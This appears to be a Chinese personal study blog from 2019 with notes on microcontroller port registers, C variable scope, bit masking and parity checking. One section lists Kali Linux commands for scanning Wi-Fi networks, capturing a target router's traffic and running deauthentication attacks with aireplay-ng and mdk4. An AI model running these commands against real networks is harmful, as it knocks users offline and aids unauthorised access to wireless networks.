2019随笔

1.P3M0和P3M1

 

(1)功能:定义P3口的模式

 

 


2019.08.05

kali下测试网络安全

ifconfig   // 查看网卡,一般为wlan0

airmon-ng start wlan0   //启动wlan0网卡

airodump-ng wlan0mon //扫描周围wifi的信息

airodump-ng --bssid xx:xx:xx:xx:xx(路由器mac地址) -w xxx(起一个cap文件名) -c xx(路由频道)wlan0mon  // 获取制定路由的连接信息

aireply-ng -0(deauth攻击模式)x(攻击次数) -a xx:xx:xx:xx:xx(路由器mac地址) -c xx:xx:xx:xx:xx(客户端mac地址) //断线攻击

mdk4 wlan0mon d -B xx:xx:xx:xx:xx(路由器mac地址) -S xx:xx:xx:xx:xx(客户端mac地址) mdk4deauth攻击,可适用于5g路由。



http://www.51hei.com/bbs/dpj-118362-1.html


那么如何编程呢?有人说先画流程图,然后再写程序、调试。我想,这是数学比我好的人说的,我的方法如下:
1、用文字描述自己需要的功能
2、拆分出各个功能,用文字描述每个功能是如何实现的
3、完成各个功能的程序,并做好测试,对于我来说,如果了解单片机的工作方式,那么编写程序其实就是把汉语翻译成汇编语言。
4、修改每个功能模块的程序,尽量让程序简短,并且预留好和其他功能衔接的功能(接口、变量等)
5、合并简单功能模块,复杂功能逐一合并,每次合并做好程序备份,以便纠错
6、如果上述工作做的足够好,那么可以直接得到想要的结果,我的程序往往都是写完了就可以用,这是建立在部分模块程序的完美基础之上的。

 

2019.08.09

http://blog.chinaaet.com/beihang873/p/35922

http://blog.sina.com.cn/s/blog_6202cb4101011udd.html

 

2019.08.10

在程序中,局部变量和全局变量的名称可以相同,但是在函数内,如果两个名字相同,会使用局部变量值,全局变量不会被使用。

 

static 修饰全局变量的时候,这个全局变量只能在本文件中访问,不能在其它文件中访问,即便是 extern 外部声明也不可以。

考虑到数据安全性(当程序想要使用全局变量的时候应该先考虑使用 static)

 

2019.08.22

P1SEL &= ~0x01;  //设置p1.0端口为普通IO口  ,0为IO口 1为外设。

等价于P1SEL = P1SEL & ~0000 0001;等价于P1SEL = P1SEL & 1111 1110;

我们先假设 P1SEL = 1111 1111那么P1SEL = 1111 1111 & 1111 1110;P1SEL = 1111 1110

我们再假设 P1SEL = 0000 0000那么P1SEL = 0000 0000 & 1111 1110;P1SEL = 0000 0000

综上所述:我们发现 无论P1SEL等于任何值 P1SEL &= ~0x01 的作用,就是将最低位 P1_0 置0,其他位不变 。

 

工作方式

为了能检测和纠正内存软错误,首先出现的是内存“奇偶校验”。内存中最小的单位是比特,也称为“位”,位只有两种状态分别以1和0来标示,每8个连续的比特叫做一个字节(byte)。不带奇偶校验的内存每个字节只有8位,如果其某一位存储了错误的值,就会导致其存储的相应数据发生变化,进而导致应用程序发生错误。而奇偶校验就是在每一字节(8位)之外又增加了一位作为错误检测位。在某字节中存储数据之后,在其8个位上存储的数据是固定的,因为位只能有两种状态1或0,假设存储的数据用位标示为1、1、1、0、0、1、0、1,那么把每个位相加(1+1+1+0+0+1+0+1=5),结果是奇数。对于偶校验,校验位就定义为1;对于奇校验,则相反。当CPU读取存储的数据时,它会再次把前8位中存储的数据相加,计算结果是否与校验位相一致。从而一定程度上能检测出内存错误,奇偶校验只能检测出错误而无法对其进行修正,同时虽然双位同时发生错误的概率相当低,但奇偶校验却无法检测出双位错误。

优缺点

奇偶校验有两种类型:奇校验和偶校验。奇偶校验位是一个表示给定位数的二进制数中1的个数是奇数或者偶数的二进制数,奇偶校验位是最简单的错误检测码。如果传输过程中包括校验位在内的奇数个数据位发生改变,那么奇偶校验位将出错表示传输过程有错误发生。因此,奇偶校验位是一种错误检测码,但是由于没有办法确定哪一位出错,所以它不能进行错误校正。发生错误时必须扔掉全部的数据,然后从头开始传输数据。在噪声很多的媒介上成功传输数据可能要花费很长的时间,甚至根本无法实现。但是奇偶校验位也有它的优点,它是使用一位数据能够达到的最好的校验码,并且它仅仅需要一些异或门就能够生成。奇偶校验被广泛应用。 [1] 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值